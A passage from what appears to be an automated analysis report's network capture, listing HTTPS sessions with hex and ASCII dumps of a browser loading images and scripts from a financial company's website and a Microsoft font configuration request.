ud83d\udc69\ud83c[\udffb-\udfff]\|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc68\ud83c[\udffb\udffd-\udfff]\|\ud83d\udc69\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83d\udc69\ud83c[\udffb\udffd-\udfff]\|\ud83d\udc69\ud83c\udffd\u200d\u2764\ufe0f\u20
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5c 75 64 66 66 63 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 5c 75 64 66 66 64 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5c 75 64 66 66 63 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5c 75 64 66 66 64 5c 75 32 30 30 64 5c 75 32 37 36 34 5c 75 66 65 30 66 5c 75 32 30 30 64 5c 75 64 38 33 65 5c 75 64 64 64 31 5c 75 64 38 33 63 5b 5c 75 64 66 66 Data Ascii: dffb-\udfff]\|\ud83e\uddd1\ud83c\udffc\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udffb\udffd-\udfff]\|\ud83e\uddd1\ud83c\udffc\u200d\ud83e\udd1d\u200d\ud83e\uddd1\ud83c[\udffb-\udfff]\|\ud83e\uddd1\ud83c\udffd\u200d\u2764\ufe0f\u200d\ud83e\uddd1\ud83c[\udff
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 64 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 38 66 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5c 75 64 63 39 31 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 65 5c 75 64 64 31 64 5c 75 64 38 33 63 5b 5c 75 64 66 66 62 2d 5c 75 64 66 66 66 5d 7c 5c 75 64 38 33 64 5b 5c 75 64 63 36 62 2d 5c 75 64 63 36 64 5c 75 64 63 38 66 5c 75 64 63 39 31 5d 7c 5c 75 64 38 33 65 5c 75 64 64 31 64 29 7c 28 3f 3a 5c 75 64 38 33 64 5b 5c 75 64 63 36 38 5c 75 64 63 36 39 5d 7c 5c 75 64 38 33 65 5c 75 64 64 64 31 29 28 3f 3a 5c 75 64 38 33 63 5b 5c 75 Data Ascii: \ud83c[\udffb-\udfff]\|\ud83d\udc6d\ud83c[\udffb-\udfff]\|\ud83d\udc8f\ud83c[\udffb-\udfff]\|\ud83d\udc91\ud83c[\udffb-\udfff]\|\ud83e\udd1d\ud83c[\udffb-\udfff]\|\ud83d[\udc6b-\udc6d\udc8f\udc91]\|\ud83e\udd1d)\|(?:\ud83d[\udc68\udc69]\|\ud83e\uddd1)(?:\ud83c[\u
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 38 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 36 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 36 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c 75 64 38 33 64 5c 75 64 63 36 37 5c 75 32 30 30 64 5c 75 64 38 33 64 5b 5c 75 64 63 36 36 5c 75 64 63 36 37 5d 7c 5c 75 64 38 33 64 5c 75 64 63 36 39 5c 75 32 30 30 64 5c Data Ascii: d[\udc66\udc67]\|\ud83d\udc68\u200d\ud83d\udc68\u200d\ud83d[\udc66\udc67]\|\ud83d\udc68\u200d\ud83d\udc69\u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\ud83d\udc66\u200d\ud83d\udc66\|\ud83d\udc69\u200d\ud83d\udc67\u200d\ud83d[\udc66\udc67]\|\ud83d\udc69\u200d\
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 5c 75 64 64 64 63 2d 5c 75 64 64 64 65 5c 75 64 64 65 31 5c 75 64 64 65 33 5c 75 64 64 65 38 5c 75 64 64 65 66 5c 75 64 64 66 33 5c 75 64 64 66 61 5c 75 64 65 63 62 5c 75 64 65 63 64 2d 5c 75 64 65 63 66 5c 75 64 65 65 30 2d 5c 75 64 65 65 35 5c 75 64 65 65 39 5c 75 64 65 66 30 5c 75 64 65 66 33 5d 7c 5b 5c 75 32 30 33 63 5c 75 32 30 34 39 5c 75 32 31 33 39 5c 75 32 31 39 34 2d 5c 75 32 31 39 39 5c 75 32 31 61 39 5c 75 32 31 61 61 5c 75 32 33 31 61 5c 75 32 33 31 62 5c 75 32 33 32 38 5c 75 32 33 63 66 5c 75 32 33 65 64 2d 5c 75 32 33 65 66 5c 75 32 33 66 31 5c 75 32 33 66 32 5c 75 32 33 66 38 2d 5c 75 32 33 66 61 5c 75 32 34 63 32 5c 75 32 35 61 61 5c 75 32 35 61 62 5c 75 32 35 62 36 5c 75 32 35 63 30 5c 75 32 35 66 62 2d 5c 75 32 35 66 65 5c 75 32 36 30 Data Ascii: \udddc-\uddde\udde1\udde3\udde8\uddef\uddf3\uddfa\udecb\udecd-\udecf\udee0-\udee5\udee9\udef0\udef3]\|[\u203c\u2049\u2139\u2194-\u2199\u21a9\u21aa\u231a\u231b\u2328\u23cf\u23ed-\u23ef\u23f1\u23f2\u23f8-\u23fa\u24c2\u25aa\u25ab\u25b6\u25c0\u25fb-\u25fe\u260
2024-04-11 20:34:59 UTC	1378	IN	Data Raw: 34 30 5c 75 64 63 36 65 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 37 66 7c 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 64 62 34 30 5c 75 64 63 37 33 5c 75 64 62 34 30 5c 75 64 63 36 33 5c 75 64 62 34 30 5c 75 64 63 37 34 5c 75 64 62 34 30 5c 75 64 63 37 66 7c 5c 75 64 38 33 63 5c 75 64 66 66 34 5c 75 64 62 34 30 5c 75 64 63 36 37 5c 75 64 62 34 30 5c 75 64 63 36 32 5c 75 64 62 34 30 5c 75 64 63 37 37 5c 75 64 62 34 30 5c 75 64 63 36 63 5c 75 64 62 34 30 5c 75 64 63 37 33 5c 75 64 62 34 30 5c 75 64 63 37 66 7c 5c 75 64 38 33 63 5c 75 64 64 65 36 5c 75 64 38 33 63 5b 5c 75 64 64 65 38 2d 5c 75 64 64 65 63 5c 75 64 64 65 65 5c 75 64 64 66 31 5c 75 64 64 66 32 5c 75 Data Ascii: 40\udc6e\udb40\udc67\udb40\udc7f\|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc73\udb40\udc63\udb40\udc74\udb40\udc7f\|\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc77\udb40\udc6c\udb40\udc73\udb40\udc7f\|\ud83c\udde6\ud83c[\udde8-\uddec\uddee\uddf1\uddf2\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49812	23.51.58.94	443

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-04-11 20:35:00 UTC	455	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (chd/0778) X-CID: 11 Cache-Control: public, max-age=37673 Date: Thu, 11 Apr 2024 20:34:59 GMT Content-Length: 55 Connection: close X-CID: 2
2024-04-11 20:35:00 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49816	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	402	OUT	GET /wp-content/uploads/2023/03/BFJ_LOGO_WITH_TAG_WHITE_NEW.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	711	IN	HTTP/1.1 200 OK Connection: close Content-Length: 54653 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "6422cf61-d57d" last-modified: Tue, 28 Mar 2023 11:28:33 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21976-LGA, cache-lga21954-LGA X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.013876,VS0,VE2 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 06 54 00 00 02 a3 08 06 00 00 00 6b d6 e2 0a 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 d5 1f 49 44 41 54 78 da ec dd 07 98 5e 65 9d 3e e0 37 84 54 02 01 12 ba 08 22 88 28 62 07 14 01 95 5d b1 01 ae fe 71 57 57 d7 2d f6 55 51 71 d5 55 51 c0 be 52 56 70 55 94 a2 a0 82 20 02 8a a8 cb 22 48 11 a5 f7 a2 14 01 21 10 3a a4 d7 ff ef dd 73 66 33 a9 5f 32 df f9 da 39 f7 7d 5d cf 95 10 f0 64 e6 f9 26 5e 99 79 e6 9c 77 d4 e2 c5 8b 13 00 00 74 c8 a8 c8 c4 c8 f8 c8 a6 91 9d 22 cf 8e 6c 13 d9 2a b2 51 64 4a 64 52 0f de b6 1b 22 1f 8d 5c 12 59 e0 a5 aa a5 57 44 7e 1c d9 30 b2 50 1d 03 6f 66 e4 e1 c8 43 91 bb 23 77 44 6e 8a 5c 1b b9 2f 32 27 32 Data Ascii: PNGIHDRTktEXtSoftwareAdobe ImageReadyqe<IDATx^e>7T"(b]qWW-UQqUQRVpU "H!:sf3_29}]d&^ywt"l*QdJdR"\YWD~0PofC#wDn\/2'2
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 00 a0 19 dc a1 02 00 d0 2c fb 26 63 4a 3f 59 3f f2 85 54 7c 71 de 77 ba 0f 86 fc 1d 69 47 47 be a1 8a c6 9b 90 8a 3b fe 00 00 68 08 77 a8 00 00 34 47 7e dc d7 ef 22 2f 52 45 5f 3a 39 f2 91 c8 03 aa 18 08 79 0c 3b 29 f2 7a 55 34 5a be 3b 65 c7 c8 1c 55 00 00 d4 9f 3b 54 00 00 9a e3 d9 91 e7 ab a1 6f bd 25 15 e7 aa ec a0 8a 81 90 1f d7 f6 c9 54 3c 42 8f e6 7a 5a 64 4f 35 00 00 34 83 41 05 00 a0 39 de ec ef 7f 7d ef af 22 a7 46 76 57 c5 40 b8 31 15 a3 ca a3 aa 68 ac 7c a6 ce df aa 01 00 a0 19 7c 42 0d 00 d0 1c af 4b c5 17 ff e8 6f f9 f1 41 3f 8e bc 49 15 03 e1 97 91 43 d4 d0 58 f9 ff 53 5f 91 9c 81 04 00 d0 08 06 15 00 80 66 78 7a 64 6b 35 0c 8c cd 22 df 8b bc 5b 15 03 e1 eb 91 e3 d4 d0 58 53 23 2f 54 03 00 40 fd 19 54 00 00 9a c1 77 50 0f 9e 49 91 a3 23 9f Data Ascii: ,&cJ?Y?T\|qwiGG;hw4G~"/RE_:9y;)zU4Z;eU;To%T<BzZdO54A9}"FvW@1h\|\|BKoA?ICXS_fxzdk5"[XS#/T@TwPI#
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 7b 23 9f f2 72 f4 d4 4f cb 00 00 00 3d 60 50 01 00 80 fe f5 db c8 fb 23 0f af c1 ff e6 87 a9 18 3e 66 75 e0 ed 39 28 f2 76 2f 4b 4f 7d 22 72 9f 1a 00 00 a0 fb 0c 2a 00 00 d0 9f ae 8a bc 23 32 6d 04 ff db ef a4 e2 f1 50 f3 2a 7e 9b c6 47 be 1a 79 a5 97 a7 67 ee 89 7c 4e 0d 00 00 d0 7d 06 15 00 00 e8 3f 7f 8c bc 35 72 d7 08 ff f7 0b 22 5f 8b 7c 2b ad fa dc 95 91 d8 2c 72 78 64 7b 2f 53 cf 9c 18 39 47 0d 00 00 d0 5d 06 15 00 00 e8 2f f9 50 f9 b7 45 6e 6d f3 3a f3 23 1f 8d fc a0 03 6f e3 f3 22 47 46 d6 f7 72 f5 44 be f3 68 75 cf d5 01 00 00 2a 62 50 01 00 80 fe 91 0f 93 cf 8f f9 ba bc a2 eb e5 bb 53 de 17 b9 a0 03 6f eb 6b 22 5f 89 8c f3 b2 f5 c4 cd 65 ff 00 00 40 97 18 54 00 00 a0 3f cc 88 7c 28 f2 eb 8a af 9b 0f a7 7f 4f e4 b6 0e bc cd f9 ba 1f 8c 8c f2 f2 Data Ascii: {#rO=`P#>fu9(v/KO}"r#2mP~Gyg\|N}?5r"_\|+,rxd{/S9G]/PEnm:#o"GFrDhu*bPSok"_e@T?\|(O
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 77 56 7c dd 7c cd a7 a9 b7 2b 3e af 02 00 00 58 7d 06 15 00 00 58 7d f9 51 57 1f 53 c3 ff c9 e7 70 1c 12 99 5d e1 35 b7 8a 7c 51 b5 5d f1 cb c8 ef d4 00 00 00 ab c7 a0 02 00 00 ab e7 b1 c8 fb 53 71 28 3b 4b fc 30 72 7a c5 d7 7c 4b e4 ef 54 db 71 f9 f1 75 9f 55 03 00 00 ac 1e 83 0a 00 00 ac 9e 7c 08 fd 65 6a 58 ce 82 c8 27 52 f5 8f fe ca 77 a9 6c a6 de 8e bb 38 f2 2b 35 00 00 40 6b 06 15 00 00 68 ed a4 54 9c 9d c2 8a dd 17 f9 4c 64 6e 85 d7 dc 26 15 e7 a9 d0 59 f9 35 fb 0f 35 00 00 40 6b 06 15 00 00 58 b5 eb 22 5f 8a cc 51 c5 2a 9d 12 f9 49 c5 d7 7c 63 64 7f d5 76 5c 3e 1b e8 0c 35 00 00 c0 aa 19 54 00 00 60 e5 e6 45 0e 8e dc a2 8a 96 16 45 fe 2d 72 77 85 d7 5c 37 f2 f1 c8 c6 ea ed a8 27 22 df 8d 2c 54 05 00 00 ac 9c 41 05 00 00 56 2c 7f 71 39 3f 0a c9 77 Data Ascii: wV\|\|+>X}X}QWSp]5\|Q]Sq(;K0rz\|KTquU\|ejX'Rwl8+5@khTLdn&Y55@kX"_Q*I\|cdv\>5T`EE-rw\7'",TAV,q9?w
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: db 26 91 03 bd 44 95 9b 1d f9 79 64 a1 2a 00 00 68 02 83 0a 00 00 75 31 27 72 44 64 ba 2a 7a e2 ab 91 97 f7 e9 db 96 ef 52 79 43 64 07 2f 53 e5 be 1b 99 a9 06 00 00 9a c0 a0 02 00 40 5d fc 26 72 9a 1a 7a e2 80 c8 bf f4 f9 db b8 55 e4 3d 5e aa ca fd 39 72 a1 1a 00 00 68 02 83 0a 00 00 75 f0 44 e4 d3 a9 38 43 85 ee 7a 5d e4 a0 01 f8 dc 62 54 64 9f c8 0b bc 64 95 3b 26 b2 48 0d 00 00 d4 9d 41 05 00 80 3a c8 e7 a6 5c a3 86 ae cb 8f d0 3a 34 32 65 40 de de a7 45 de e4 65 ab dc 79 91 db d5 00 00 40 dd 19 54 00 00 18 74 7f 4e c5 f9 1d 74 d7 a4 c8 c1 69 b0 ee f8 c8 77 a9 bc 31 b2 93 97 af 52 f9 70 fa 13 d4 00 00 40 dd 19 54 00 00 18 74 9f 8b 3c a4 86 ae ca 87 bc 7f 22 f2 e6 01 7c db 9f 99 8a c7 94 f9 5c a8 5a a7 46 e6 a9 01 00 80 3a f3 49 04 00 00 83 2c 3f 6a e8 Data Ascii: &Dydhu1'rDdzRyCd/S@]&rzU=^9rhuD8Cz]bTdd;&HA:\:42e@Eey@TtNtiw1Rp@Tt<"\|\ZF:I,?j
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 6e 15 54 e2 d1 e4 1c 15 00 00 06 94 41 05 00 80 5e ca 67 a7 dc aa 86 8e fa 70 64 17 35 b4 ed 05 c9 e1 f4 55 58 10 f9 4d 4d df b7 b1 5e 5e 00 80 7a 33 a8 00 00 d0 2b f9 0b ab 5f 55 43 47 3d 23 f2 11 35 54 22 9f a1 f2 16 35 b4 65 52 64 cf 54 3c 3e 6d 51 cd de b7 39 91 8b bc c4 00 00 f5 b6 b6 0a 00 00 e8 91 b3 23 d7 ab a1 a3 0e 4d c5 f9 1f b4 6f 74 64 9f b2 53 56 6d 54 99 cd 22 2f 29 b3 73 64 db c8 f8 c8 c4 54 8f 6f ee cb a3 d0 0d 91 e3 22 67 45 1e f0 d2 03 00 d4 9b 41 05 00 80 5e c8 5f 88 3c 22 b2 50 15 1d f3 86 c8 ab d4 50 a9 ad 23 2f 8f 5c a0 8a ff 93 87 a6 71 a9 78 dc d5 e6 a9 18 4f 76 2b f3 d4 f2 df e7 cf 3b 47 d5 e4 fd 9d 9f 8a b3 9f ce 8b 7c 33 72 69 64 6e 64 b1 0f 05 00 80 fa 33 a8 00 00 d0 0b ff 1d b9 52 0d 1d 93 ef 00 f8 58 64 03 55 54 6a 6a 2a 86 Data Ascii: nTA^gpd5UXMM^^z3+_UCG=#5T"5eRdT<>mQ9#MotdSVmT"/)sdTo"gEA^_<"PP#/\qxOv+;G\|3ridnd3RXdUTjj*
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 02 00 40 27 1c 9f 8c 29 9d f0 b7 91 97 55 78 bd 7c ce cd 61 69 f9 31 25 bb b7 cc 2f 86 fd da 06 a9 18 56 76 88 3c a3 cc c6 91 c9 65 d6 8b ac eb 65 1a 28 8b ca 3f ab 43 79 bc 7c dd 6f 29 73 6b 99 99 aa 02 00 a0 e9 0c 2a 00 00 54 6d 6e e4 24 35 54 6e fd c8 3b 22 13 2a bc 66 7e 2c db 0d 6b f0 df e7 c3 c4 2f 49 cb 9f 8d b3 79 2a 1e 17 b6 75 f9 e3 53 22 53 ca 6c 58 26 8f 31 e3 bd 8c 3d f3 64 5a 72 18 fc d0 8f f9 c0 f8 3f 47 ee 8a dc 59 fe 38 5d 55 00 00 b0 62 06 15 00 00 aa 76 4e e4 0e 35 54 6e 9f c8 ee 15 5e 2f 1f 42 9f 07 95 b9 15 5d 2b e7 a2 65 7e 3d 0f 2a 9b 45 36 29 7f cc c3 cb 46 e5 af 4f 2d 33 65 58 18 b9 fc 3a 3e 9c 8a a1 64 e8 c7 fc 98 ae 07 53 f1 08 be e1 c9 67 9f cc 50 19 00 00 ac 19 83 0a 00 00 55 3b 2e 15 07 56 53 9d 3c 42 bc bb e2 bf bf e7 31 e5 Data Ascii: @')Ux\|ai1%/Vv<ee(?Cy\|o)skTmn$5Tn;"f~,k/IyuS"SlX&1=dZr?GY8]UbvN5Tn^/B]+e~=E6)FO-3eX:>dSgPU;.VS<B1
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 91 eb d5 50 89 7c 18 fd 4b 2a bc de b1 a9 38 94 1e 00 00 80 0e 33 a8 00 00 d0 ca e5 c9 f9 29 55 f9 fb c8 a6 15 5d eb cf 91 f3 54 0a 00 00 d0 1d 06 15 00 00 5a b9 22 f2 a4 1a da 36 36 f2 ea c8 b8 8a ae 77 4c 64 a6 5a 01 00 00 ba c3 a0 02 00 c0 aa 4c 4f c5 1d 2a b4 6f b7 c8 73 2a ba 56 1e b8 7e 9e 8a 43 e9 01 00 00 e8 02 83 0a 00 00 ab 72 53 32 a8 54 65 bf c8 46 15 5d eb 97 a9 78 e4 17 00 00 00 5d 62 50 01 00 60 55 6e 8c 3c a1 86 b6 6d 99 8a 3b 54 aa f2 93 e4 71 5f 00 00 00 5d 65 50 01 00 60 65 f2 90 f2 7b 35 54 e2 15 91 e7 56 74 ad 9b 23 d7 a8 14 00 00 a0 bb 0c 2a 00 00 ac cc 5f 22 97 a8 a1 6d a3 22 bb 47 c6 54 74 bd 7c 76 ca ed 6a 05 00 00 e8 2e 83 0a 00 00 2b 73 47 e4 4e 35 b4 6d c7 c8 cb 2a ba d6 9c c8 05 91 45 6a 05 00 00 e8 2e 83 0a 00 00 2b 32 3f 72 Data Ascii: P\|K83)U]TZ"66wLdZLOosV~CrS2TeF]x]bP`Un<m;Tq_]eP`e{5TVt#_"m"GTt\|vj.+sGN5m*Ej.+2?r
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: b9 7a 00 00 e8 17 06 15 00 80 e6 ca 5f 84 f7 08 a9 91 cb df 39 bf 6b 0f 7e df f1 a9 18 72 86 c6 9c 7c ce ca dd 91 bf a4 62 54 19 ba f3 28 8f 2d f9 91 6e d3 bd 54 f4 91 7c 40 fc f6 65 f2 a3 bb f2 78 f2 d4 61 99 a0 22 00 00 fa 95 41 05 00 a0 99 66 47 6e 51 43 5b f2 a0 b2 63 1f bc 1d a3 22 5b 95 d9 ad fc b5 7c 17 cb f4 61 b9 2d 72 63 f9 9a e7 91 e5 7e 2f 1f 5d 90 0f 8d cf 77 99 3c b3 4c 3e 73 68 93 32 f9 ce ab 0d 54 04 00 c0 20 31 a8 00 00 34 53 3e e4 fc 46 35 b4 65 a7 54 3c f6 ab 1f e5 bb 58 86 be e3 7f 48 3e 6f e5 f1 c8 93 65 ee 2a 3f 06 f2 e3 c3 6e 4e c5 1d 2d 73 bc ac 8c d0 d0 63 ba 9e 95 8a a1 31 9f 7b 92 07 93 c9 91 f5 52 31 ae 00 00 c0 40 33 a8 00 00 34 d3 43 c9 1d 2a ed 98 94 7a f3 b8 af 76 4c 2c b3 59 f9 cf 2f 8c ec 9b 8a 11 25 67 6e 2a ee 5c b9 3e Data Ascii: z_9k~r\|bT(-nT\|@exa"AfGnQC[c"[\|a-rc~/]w<L>sh2T 14S>F5eT<XH>oe?nN-sc1{R1@34CzvL,Y/%gn*\>
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 47 36 51 03 d0 42 3e 90 fe 6e 35 00 00 d4 9b 41 05 00 00 56 2e 0f 2a 93 d5 00 b4 30 2b 72 87 1a 00 00 ea cd a0 02 00 00 2b 97 0f a4 1f a5 06 a0 05 83 0a 00 40 03 18 54 00 00 60 e5 36 53 01 b0 1a ee 8c cc 57 03 00 40 bd 19 54 00 00 60 c5 d6 4b c5 1d 2a 00 ab b2 20 f2 7b 35 00 00 d4 9f 41 05 00 00 56 6c 6a 72 87 0a d0 5a 3e 90 fe 62 35 00 00 d4 9f 41 05 00 00 56 cc a0 02 ac 8e 27 22 17 a9 01 00 a0 fe 0c 2a 00 00 b0 62 53 22 9b a8 01 68 e1 c2 c8 5c 35 00 00 d4 9f 41 05 00 00 56 6c a3 c8 38 35 00 2d fc 48 05 00 00 cd 60 50 01 00 80 15 f3 b8 2f a0 95 fb 23 e7 ab 01 00 a0 19 0c 2a 00 00 b0 bc d1 91 cd d5 00 b4 90 ef 4e 99 a1 06 00 80 66 30 a8 00 00 c0 f2 26 45 36 55 03 b0 0a 0b 23 c7 ab 01 00 a0 39 0c 2a 00 00 b0 bc 75 93 47 7e 01 ab 76 7a e4 36 35 00 00 34 87 Data Ascii: G6QB>n5AV.0+r+@T`6SW@T`K {5AVljrZ>b5AV'"bS"h\5AVl85-H`P/#Nf0&E6U#9*uG~vz654

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49819	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	392	OUT	GET /wp-content/themes/x-child/images/facebook-28.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	709	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1836 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "5a9524d9-72c" last-modified: Tue, 27 Feb 2018 09:28:57 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21967-LGA, cache-lga21957-LGA X-Cache: MISS, HIT X-Cache-Hits: 0, 1 X-Timer: S1712867700.049846,VS0,VE2 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 1c 00 00 00 1c 08 06 00 00 00 72 0d df 94 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 26 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 Data Ascii: PNGIHDRrtEXtSoftwareAdobe ImageReadyqe<&iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42
